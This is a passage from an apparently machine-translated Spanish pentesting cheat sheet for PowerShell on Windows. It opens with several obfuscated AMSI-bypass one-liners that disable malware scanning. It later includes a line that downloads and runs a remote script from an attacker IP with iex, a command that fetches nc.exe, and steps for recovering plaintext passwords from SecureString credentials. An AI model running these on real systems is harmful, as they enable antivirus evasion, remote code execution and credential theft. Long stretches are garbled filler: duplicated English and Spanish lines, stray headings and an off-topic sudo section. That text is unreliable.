se carga en tu proceso y tiene las exportaciones necesarias para que cualquier aplicación interactúe con él. Y debido a que se carga en el espacio de memoria de un proceso que controlas, puedes cambiar su comportamiento sobrescribiendo instrucciones en la memoria. Haciendo que no detecte nada.
Por lo tanto, el objetivo de los bypasses de AMSI es sobrescribir las instrucciones de esa DLL en la memoria para hacer que la detección sea inútil.
Página web generadora de bypass de AMSI: https://amsi.fail/
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)
# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
Bypass de AMSI 2 - Enganche de Llamadas a API Administradas
Consulta esta publicación para obtener información detallada y el código.
Esta nueva técnica se basa en el enganche de llamadas a API de métodos .NET. Resulta que los métodos .NET deben compilarse en instrucciones de máquina nativas en la memoria, lo que termina pareciéndose mucho a los métodos nativos. Estos métodos compilados pueden ser enganchados para cambiar el flujo de control de un programa.
Los pasos para realizar el enganche de llamadas a API de métodos .NET son:
- Identificar el método objetivo para enganchar
- Definir un método con el mismo prototipo de función que el objetivo
- Utilizar reflexión para encontrar los métodos
- Asegurarse de que cada método haya sido compilado
- Encontrar la ubicación de cada método en la memoria
- Sobrescribir el método objetivo con instrucciones que apunten a nuestro método malicioso
Historial de PS
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
Obtener permisos
To determine the permissions of a file or directory in Windows, you can use the Get-Acl
cmdlet in PowerShell. This cmdlet retrieves the access control list (ACL) for the specified object.
Get-Acl -Path C:\path\to\file.txt
This command will display the permissions associated with the file.txt file, including the user or group that has each permission.
You can also use the Get-ACL
cmdlet to retrieve the permissions for multiple files or directories by specifying a wildcard character (*) in the path.
Get-Acl -Path C:\path\to\*
This command will display the permissions for all files and directories in the specified path.
By default, the Get-Acl
cmdlet displays the permissions in a format that is not very readable. To format the output in a more readable way, you can use the Format-List
cmdlet.
Get-Acl -Path C:\path\to\file.txt | Format-List
This command will display the permissions for the file.txt file in a list format.
In addition to retrieving the permissions, you can also modify the permissions using the Set-Acl
cmdlet. However, be cautious when modifying permissions, as incorrect changes can lead to security vulnerabilities.
Set-Acl -Path C:\path\to\file.txt -AclObject $acl
This command will set the permissions for the file.txt file using the ACL object specified by the $acl
variable.
By understanding and managing permissions effectively, you can ensure the security of your Windows system.
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
Versión del sistema operativo y HotFixes
Para obtener información sobre la versión del sistema operativo y los HotFixes instalados en un sistema Windows, puedes utilizar el siguiente comando de PowerShell:
Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, CSDVersion, OSArchitecture
Este comando mostrará la versión del sistema operativo, la versión del Service Pack y la arquitectura del sistema.
Además, puedes obtener una lista de los HotFixes instalados en el sistema utilizando el siguiente comando:
Get-WmiObject -Class Win32_QuickFixEngineering | Select-Object HotFixID, InstalledOn
Este comando mostrará el identificador del HotFix y la fecha en que fue instalado.
Estos comandos son útiles para obtener información sobre la versión del sistema operativo y los HotFixes instalados, lo cual puede ser útil durante una evaluación de seguridad o una prueba de penetración.
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Entorno
Purpose
Propósito
Prerequisites
Requisitos previos
Instructions
Instrucciones
Conclusion
Conclusión
Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value
Otras unidades conectadas
When conducting a penetration test on a Windows system, it is important to gather as much information as possible about the target. One valuable piece of information is the list of connected drives on the system. This can help identify additional storage devices or network shares that may contain sensitive data.
In PowerShell, you can use the Get-PSDrive
cmdlet to retrieve a list of all connected drives. This cmdlet provides information about both local and remote drives, including drive letters, drive types, and the root directory of each drive.
To retrieve the list of connected drives, open a PowerShell session and run the following command:
Get-PSDrive
This will display a table with information about each connected drive, including the drive letter, drive type, and root directory. The drive type can be one of the following:
- FileSystem: This indicates a local disk drive.
- Registry: This indicates a registry hive.
- Alias: This indicates a PowerShell alias.
- Variable: This indicates a PowerShell variable.
- Function: This indicates a PowerShell function.
- Certificate: This indicates a certificate store.
- Environment: This indicates an environment variable.
By examining the list of connected drives, you may discover additional storage devices or network shares that could be potential targets for further investigation. For example, a network share may contain sensitive files or configurations that could be leveraged during the penetration test.
Remember to always obtain proper authorization before conducting any penetration testing activities. Unauthorized access to systems or data is illegal and unethical.
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Papelera de reciclaje
La Papelera de reciclaje es una característica de Windows que permite a los usuarios recuperar archivos y carpetas eliminados. Cuando se elimina un archivo o carpeta, en lugar de ser eliminado permanentemente, se mueve a la Papelera de reciclaje. Desde allí, los usuarios pueden restaurar los archivos o vaciar la Papelera de reciclaje para eliminarlos de forma permanente.
La Papelera de reciclaje se encuentra en el escritorio de Windows y se representa con un ícono de una papelera. Al hacer clic derecho en la Papelera de reciclaje, los usuarios pueden acceder a opciones adicionales, como restaurar archivos o cambiar la configuración de la Papelera de reciclaje.
Es importante tener en cuenta que la Papelera de reciclaje tiene un límite de capacidad y, una vez alcanzado, los archivos más antiguos se eliminarán automáticamente para dar espacio a los nuevos archivos eliminados. Por lo tanto, es recomendable vaciar periódicamente la Papelera de reciclaje para liberar espacio en el disco duro.
$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/
Reconocimiento de Dominio
{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}
Usuarios
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
Cadena segura a texto sin formato
Cuando se realiza una evaluación de seguridad en un entorno de Windows, a menudo es necesario analizar scripts de PowerShell para identificar posibles vulnerabilidades. Una técnica común utilizada por los pentesters es buscar cadenas seguras en los scripts de PowerShell y convertirlas a texto sin formato para su análisis.
A continuación se muestra un ejemplo de cómo convertir una cadena segura a texto sin formato utilizando PowerShell:
$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
En este ejemplo, se crea una variable $secureString
que contiene la cadena segura "MySecurePassword". Luego, se utiliza el método ConvertTo-SecureString
para convertir la cadena segura a un objeto de cadena segura en PowerShell. A continuación, se utiliza el método [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR
para convertir el objeto de cadena segura en un puntero a una cadena BSTR. Finalmente, se utiliza el método [System.Runtime.InteropServices.Marshal]::PtrToStringAuto
para convertir el puntero a una cadena de texto sin formato.
Al ejecutar este script, la variable $plainText
contendrá la cadena de texto sin formato "MySecurePassword". Esto permite a los pentesters analizar y evaluar la seguridad de la contraseña almacenada en la cadena segura.
Es importante tener en cuenta que este proceso solo funciona si el script de PowerShell se ejecuta en el mismo contexto de seguridad en el que se creó la cadena segura. Si el script se ejecuta en un contexto de seguridad diferente, la conversión de cadena segura a texto sin formato no será posible.
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
O bien, analizando directamente desde XML:
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
SUDO
El comando sudo
es una herramienta comúnmente utilizada en sistemas operativos basados en Unix para permitir a los usuarios ejecutar comandos con privilegios de superusuario. Esto es útil cuando se necesita realizar tareas administrativas que requieren permisos elevados.
Uso básico
El formato básico para usar sudo
es el siguiente:
sudo comando
Por ejemplo, si queremos reiniciar el sistema, podemos usar el siguiente comando:
sudo reboot
Autenticación
Cuando se ejecuta un comando con sudo
, se solicitará al usuario que proporcione su contraseña. Esto es para asegurarse de que el usuario tiene los permisos adecuados para ejecutar el comando con privilegios de superusuario.
Ejecución de comandos como otro usuario
Además de ejecutar comandos como superusuario, sudo
también permite ejecutar comandos como otro usuario. Para hacer esto, se utiliza la opción -u
seguida del nombre de usuario.
Por ejemplo, si queremos ejecutar el comando ls
como el usuario johndoe
, podemos usar el siguiente comando:
sudo -u johndoe ls
Configuración de sudo
La configuración de sudo
se encuentra en el archivo /etc/sudoers
. Este archivo define qué usuarios tienen permiso para ejecutar comandos con sudo
y qué comandos pueden ejecutar.
Es importante tener cuidado al modificar este archivo, ya que cualquier error puede resultar en la denegación de acceso a los comandos de superusuario.
Conclusiones
El comando sudo
es una herramienta poderosa que permite a los usuarios ejecutar comandos con privilegios de superusuario. Sin embargo, es importante utilizarlo con precaución y solo cuando sea necesario, para evitar posibles problemas de seguridad.
#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
#For local:
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
Grupos
Introduction
Introducción
In Windows, groups are used to organize and manage user accounts. Groups allow you to assign permissions and access rights to multiple users at once, making it easier to manage security and access control.
En Windows, los grupos se utilizan para organizar y gestionar las cuentas de usuario. Los grupos permiten asignar permisos y derechos de acceso a varios usuarios a la vez, lo que facilita la gestión de la seguridad y el control de acceso.
Types of Groups
Tipos de Grupos
There are two types of groups in Windows:
Existen dos tipos de grupos en Windows:
-
Local Groups: These groups are created on a local machine and can only be used to grant permissions and access rights on that specific machine.
-
Grupos locales: Estos grupos se crean en una máquina local y solo se pueden utilizar para otorgar permisos y derechos de acceso en esa máquina específica.
-
Domain Groups: These groups are created in a Windows domain and can be used to grant permissions and access rights across multiple machines within the domain.
-
Grupos de dominio: Estos grupos se crean en un dominio de Windows y se pueden utilizar para otorgar permisos y derechos de acceso en varias máquinas dentro del dominio.
Group Membership
Pertenencia a Grupos
Users can be members of one or more groups. Group membership allows users to inherit the permissions and access rights assigned to the group.
Los usuarios pueden ser miembros de uno o más grupos. La pertenencia a un grupo permite a los usuarios heredar los permisos y derechos de acceso asignados al grupo.
Default Groups
Grupos Predeterminados
Windows has several default groups that are created automatically during the installation process. These groups have predefined permissions and access rights.
Windows tiene varios grupos predeterminados que se crean automáticamente durante el proceso de instalación. Estos grupos tienen permisos y derechos de acceso predefinidos.
Some of the commonly used default groups include:
Algunos de los grupos predeterminados comúnmente utilizados incluyen:
-
Administrators: Members of this group have full control over the system and can perform any administrative tasks.
-
Administradores: Los miembros de este grupo tienen control total sobre el sistema y pueden realizar cualquier tarea administrativa.
-
Users: Members of this group have standard user privileges and can perform common tasks.
-
Usuarios: Los miembros de este grupo tienen privilegios de usuario estándar y pueden realizar tareas comunes.
-
Guests: Members of this group have limited privileges and are typically used for guest or temporary accounts.
-
Invitados: Los miembros de este grupo tienen privilegios limitados y se utilizan típicamente para cuentas de invitados o temporales.
Creating and Managing Groups
Creación y Gestión de Grupos
To create and manage groups in Windows, you can use the PowerShell command-line interface. PowerShell provides a set of cmdlets specifically designed for managing groups.
Para crear y gestionar grupos en Windows, puedes utilizar la interfaz de línea de comandos de PowerShell. PowerShell proporciona un conjunto de cmdlets específicamente diseñados para gestionar grupos.
Here are some common PowerShell cmdlets for managing groups:
Aquí tienes algunos cmdlets comunes de PowerShell para gestionar grupos:
-
New-LocalGroup
: Creates a new local group. -
New-LocalGroup
: Crea un nuevo grupo local. -
Add-LocalGroupMember
: Adds a user or group to a local group. -
Add-LocalGroupMember
: Agrega un usuario o grupo a un grupo local. -
Get-LocalGroup
: Retrieves information about local groups. -
Get-LocalGroup
: Obtiene información sobre los grupos locales. -
Remove-LocalGroup
: Deletes a local group. -
Remove-LocalGroup
: Elimina un grupo local. -
New-ADGroup
: Creates a new domain group. -
New-ADGroup
: Crea un nuevo grupo de dominio. -
Add-ADGroupMember
: Adds a user or group to a domain group. -
Add-ADGroupMember
: Agrega un usuario o grupo a un grupo de dominio. -
Get-ADGroup
: Retrieves information about domain groups. -
Get-ADGroup
: Obtiene información sobre los grupos de dominio. -
Remove-ADGroup
: Deletes a domain group. -
Remove-ADGroup
: Elimina un grupo de dominio.
These cmdlets can be used to perform various group management tasks, such as creating new groups, adding or removing members, and retrieving information about existing groups.
Estos cmdlets se pueden utilizar para realizar diversas tareas de gestión de grupos, como crear nuevos grupos, agregar o eliminar miembros y obtener información sobre los grupos existentes.
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Portapapeles
El portapapeles es una función en el sistema operativo que permite copiar y pegar texto, imágenes y otros datos entre diferentes aplicaciones. En PowerShell, puedes acceder al contenido del portapapeles utilizando el cmdlet Get-Clipboard
y puedes establecer el contenido del portapapeles utilizando el cmdlet Set-Clipboard
.
Obtener el contenido del portapapeles
Para obtener el contenido del portapapeles en PowerShell, puedes usar el cmdlet Get-Clipboard
. Aquí tienes un ejemplo:
$clipboardContent = Get-Clipboard
Establecer el contenido del portapapeles
Para establecer el contenido del portapapeles en PowerShell, puedes usar el cmdlet Set-Clipboard
. Aquí tienes un ejemplo:
Set-Clipboard -Value "Texto para copiar al portapapeles"
Usos maliciosos del portapapeles
El portapapeles puede ser utilizado de manera maliciosa por los atacantes para robar información sensible. Por ejemplo, un atacante puede utilizar técnicas de phishing para engañar a los usuarios y copiar información confidencial en el portapapeles sin su conocimiento. También es posible que un atacante utilice malware para monitorear el contenido del portapapeles y robar información sensible, como contraseñas o números de tarjetas de crédito.
Para protegerse contra estos ataques, es importante tener cuidado al copiar y pegar información sensible y asegurarse de que las aplicaciones y sistemas utilizados sean seguros y confiables. Además, es recomendable utilizar herramientas de seguridad, como antivirus y firewalls, para detectar y prevenir posibles ataques.
Conclusiones
El portapapeles es una función útil en el sistema operativo que permite copiar y pegar datos entre aplicaciones. Sin embargo, también puede ser utilizado de manera maliciosa por los atacantes para robar información sensible. Es importante tomar precauciones al utilizar el portapapeles y asegurarse de proteger la información confidencial.
Get-Clipboard
Procesos
Introduction
Introducción
Processes are the running instances of programs on a computer system. Understanding how processes work and how to interact with them is essential for a pentester. In this section, we will explore basic PowerShell commands for managing and interacting with processes.
Los procesos son las instancias en ejecución de programas en un sistema informático. Comprender cómo funcionan los procesos y cómo interactuar con ellos es esencial para un pentester. En esta sección, exploraremos comandos básicos de PowerShell para administrar e interactuar con procesos.
Listing Processes
Listado de procesos
To list all the processes running on a system, you can use the Get-Process
command. This command will display information such as the process ID (PID), name, and CPU usage for each process.
Para listar todos los procesos en ejecución en un sistema, puedes utilizar el comando Get-Process
. Este comando mostrará información como el ID del proceso (PID), el nombre y el uso de la CPU para cada proceso.
Get-Process
Killing a Process
Finalizar un proceso
To terminate a process, you can use the Stop-Process
command followed by the process ID (PID) or the process name. This command will forcefully terminate the specified process.
Para finalizar un proceso, puedes utilizar el comando Stop-Process
seguido del ID del proceso (PID) o del nombre del proceso. Este comando finalizará de forma forzada el proceso especificado.
Stop-Process -ID <PID>
Stop-Process -Name <process_name>
Starting a Process
Iniciar un proceso
To start a new process, you can use the Start-Process
command followed by the path to the executable file. This command will launch the specified program.
Para iniciar un nuevo proceso, puedes utilizar el comando Start-Process
seguido de la ruta al archivo ejecutable. Este comando iniciará el programa especificado.
Start-Process -FilePath <path_to_executable>
Conclusion
Conclusión
Understanding how to manage and interact with processes using PowerShell is crucial for a pentester. By mastering these basic commands, you will be able to effectively monitor and control processes on a target system.
Comprender cómo administrar e interactuar con procesos utilizando PowerShell es crucial para un pentester. Al dominar estos comandos básicos, podrás monitorear y controlar eficazmente los procesos en un sistema objetivo.
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Servicios
Get-Service
Contraseña desde una cadena segura
When performing penetration testing on Windows systems, it is common to encounter situations where passwords are stored as secure strings. Secure strings are a way to protect sensitive information, such as passwords, by encrypting them and storing them in memory.
To retrieve the password from a secure string, you can use PowerShell. Here's a simple script that demonstrates how to do this:
$secureString = ConvertTo-SecureString -String "MyPassword" -AsPlainText -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
Write-Output $plainText
In this script, we first create a secure string using the ConvertTo-SecureString
cmdlet. We pass the password as a plain text string and use the -AsPlainText
and -Force
parameters to ensure that the secure string is created.
Next, we use the [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR
method to convert the secure string to a BSTR (Basic String) representation. We then use the [System.Runtime.InteropServices.Marshal]::PtrToStringAuto
method to convert the BSTR to a plain text string.
Finally, we output the plain text password using the Write-Output
cmdlet.
Keep in mind that this method should only be used for legitimate purposes, such as during a penetration test where you have proper authorization to access the system. Using this technique for malicious purposes is illegal and unethical.
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password
Tareas programadas
Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts or programs at specific times or intervals. As a pentester, understanding how to manipulate and exploit scheduled tasks can be valuable for gaining persistence and executing malicious actions on a target system.
Las tareas programadas son una característica poderosa en Windows que te permite automatizar la ejecución de scripts o programas en momentos o intervalos específicos. Como pentester, entender cómo manipular y explotar las tareas programadas puede ser valioso para obtener persistencia y ejecutar acciones maliciosas en un sistema objetivo.
Viewing Scheduled Tasks
Ver tareas programadas
To view the list of scheduled tasks on a Windows system, you can use the Get-ScheduledTask
cmdlet in PowerShell. This cmdlet retrieves information about all the scheduled tasks on the local system or a remote system.
Para ver la lista de tareas programadas en un sistema Windows, puedes utilizar el cmdlet Get-ScheduledTask
en PowerShell. Este cmdlet recupera información sobre todas las tareas programadas en el sistema local o en un sistema remoto.
Get-ScheduledTask
Creating Scheduled Tasks
Crear tareas programadas
To create a new scheduled task, you can use the New-ScheduledTask
cmdlet in PowerShell. This cmdlet allows you to specify the script or program to be executed, the trigger that defines when the task should run, and other settings such as the user account under which the task should run.
Para crear una nueva tarea programada, puedes utilizar el cmdlet New-ScheduledTask
en PowerShell. Este cmdlet te permite especificar el script o programa que se ejecutará, el desencadenador que define cuándo debe ejecutarse la tarea y otras configuraciones como la cuenta de usuario bajo la cual debe ejecutarse la tarea.
New-ScheduledTask -Action (New-ScheduledTaskAction -Execute "C:\path\to\script.ps1") -Trigger (New-ScheduledTaskTrigger -Daily -At 3am) -User "DOMAIN\username" -Password "password"
Modifying Scheduled Tasks
Modificar tareas programadas
To modify an existing scheduled task, you can use the Set-ScheduledTask
cmdlet in PowerShell. This cmdlet allows you to change various properties of the task, such as the script or program to be executed, the trigger, and the user account.
Para modificar una tarea programada existente, puedes utilizar el cmdlet Set-ScheduledTask
en PowerShell. Este cmdlet te permite cambiar varias propiedades de la tarea, como el script o programa que se ejecutará, el desencadenador y la cuenta de usuario.
Set-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName" -Action (New-ScheduledTaskAction -Execute "C:\path\to\newscript.ps1") -Trigger (New-ScheduledTaskTrigger -Daily -At 4am) -User "DOMAIN\username" -Password "password"
Deleting Scheduled Tasks
Eliminar tareas programadas
To delete a scheduled task, you can use the Unregister-ScheduledTask
cmdlet in PowerShell. This cmdlet removes the specified task from the system.
Para eliminar una tarea programada, puedes utilizar el cmdlet Unregister-ScheduledTask
en PowerShell. Este cmdlet elimina la tarea especificada del sistema.
Unregister-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName"
Disabling Scheduled Tasks
Deshabilitar tareas programadas
To disable a scheduled task, you can use the Disable-ScheduledTask
cmdlet in PowerShell. This cmdlet prevents the task from running according to its trigger.
Para deshabilitar una tarea programada, puedes utilizar el cmdlet Disable-ScheduledTask
en PowerShell. Este cmdlet evita que la tarea se ejecute según su desencadenador.
Disable-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName"
Enabling Scheduled Tasks
Habilitar tareas programadas
To enable a disabled scheduled task, you can use the Enable-ScheduledTask
cmdlet in PowerShell. This cmdlet allows the task to run according to its trigger.
Para habilitar una tarea programada deshabilitada, puedes utilizar el cmdlet Enable-ScheduledTask
en PowerShell. Este cmdlet permite que la tarea se ejecute según su desencadenador.
Enable-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName"
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Interfaces
Las interfaces son los puntos de conexión entre un dispositivo y una red. En Windows, se pueden utilizar comandos de PowerShell para administrar y configurar las interfaces de red.
Obtener información de las interfaces
Para obtener información sobre las interfaces de red en Windows, puedes utilizar el siguiente comando de PowerShell:
Get-NetAdapter
Este comando mostrará una lista de todas las interfaces de red en el sistema, incluyendo su nombre, descripción, estado y dirección MAC.
Habilitar o deshabilitar una interfaz
Puedes habilitar o deshabilitar una interfaz de red utilizando los siguientes comandos de PowerShell:
Enable-NetAdapter -Name "Nombre de la interfaz"
Disable-NetAdapter -Name "Nombre de la interfaz"
Reemplaza "Nombre de la interfaz" con el nombre de la interfaz que deseas habilitar o deshabilitar.
Cambiar la dirección MAC de una interfaz
Puedes cambiar la dirección MAC de una interfaz de red utilizando el siguiente comando de PowerShell:
Set-NetAdapter -Name "Nombre de la interfaz" -MacAddress "Nueva dirección MAC"
Reemplaza "Nombre de la interfaz" con el nombre de la interfaz a la que deseas cambiar la dirección MAC, y "Nueva dirección MAC" con la dirección MAC que deseas asignar.
Configurar una dirección IP estática
Puedes configurar una dirección IP estática en una interfaz de red utilizando el siguiente comando de PowerShell:
New-NetIPAddress -InterfaceAlias "Nombre de la interfaz" -IPAddress "Dirección IP" -PrefixLength "Longitud del prefijo"
Reemplaza "Nombre de la interfaz" con el nombre de la interfaz en la que deseas configurar la dirección IP, "Dirección IP" con la dirección IP que deseas asignar y "Longitud del prefijo" con la longitud del prefijo de la máscara de subred.
Configurar una dirección IP dinámica (DHCP)
Puedes configurar una dirección IP dinámica (DHCP) en una interfaz de red utilizando el siguiente comando de PowerShell:
Set-NetIPInterface -InterfaceAlias "Nombre de la interfaz" -Dhcp Enabled
Reemplaza "Nombre de la interfaz" con el nombre de la interfaz en la que deseas configurar la dirección IP dinámica.
Cambiar la métrica de una interfaz
Puedes cambiar la métrica de una interfaz de red utilizando el siguiente comando de PowerShell:
Set-NetIPInterface -InterfaceAlias "Nombre de la interfaz" -InterfaceMetric "Nueva métrica"
Reemplaza "Nombre de la interfaz" con el nombre de la interfaz a la que deseas cambiar la métrica, y "Nueva métrica" con el valor de la nueva métrica que deseas asignar.
Configurar DNS en una interfaz
Puedes configurar los servidores DNS en una interfaz de red utilizando el siguiente comando de PowerShell:
Set-DnsClientServerAddress -InterfaceAlias "Nombre de la interfaz" -ServerAddresses "Direcciones de servidor DNS separadas por comas"
Reemplaza "Nombre de la interfaz" con el nombre de la interfaz en la que deseas configurar los servidores DNS, y "Direcciones de servidor DNS separadas por comas" con las direcciones IP de los servidores DNS que deseas asignar, separadas por comas.
Estos son solo algunos ejemplos de cómo utilizar PowerShell para administrar y configurar las interfaces de red en Windows. PowerShell ofrece muchas más opciones y comandos para trabajar con las interfaces de red, por lo que te recomiendo explorar la documentación oficial de PowerShell para obtener más información.
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Firewall
Un firewall es una medida de seguridad crucial para proteger una red de posibles amenazas externas. Actúa como una barrera entre la red interna y el mundo exterior, controlando el tráfico de red y permitiendo o bloqueando ciertas conexiones según las reglas establecidas.
En Windows, el firewall se puede configurar utilizando PowerShell. PowerShell es una herramienta de línea de comandos y scripting que permite a los administradores de sistemas automatizar tareas y realizar configuraciones avanzadas.
A continuación se presentan algunos comandos básicos de PowerShell que pueden ser útiles para los pentesters al trabajar con el firewall de Windows:
Verificar el estado del firewall
Get-NetFirewallProfile
Este comando muestra el estado actual del firewall para los perfiles de red disponibles, como el perfil de dominio, el perfil privado y el perfil público.
Habilitar o deshabilitar el firewall
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
Este comando habilita el firewall para los perfiles de red especificados (dominio, público y privado). Para deshabilitar el firewall, cambie el valor "True" a "False".
Agregar una regla de firewall
New-NetFirewallRule -DisplayName "Allow HTTP" -Direction Inbound -Protocol TCP -LocalPort 80 -Action Allow
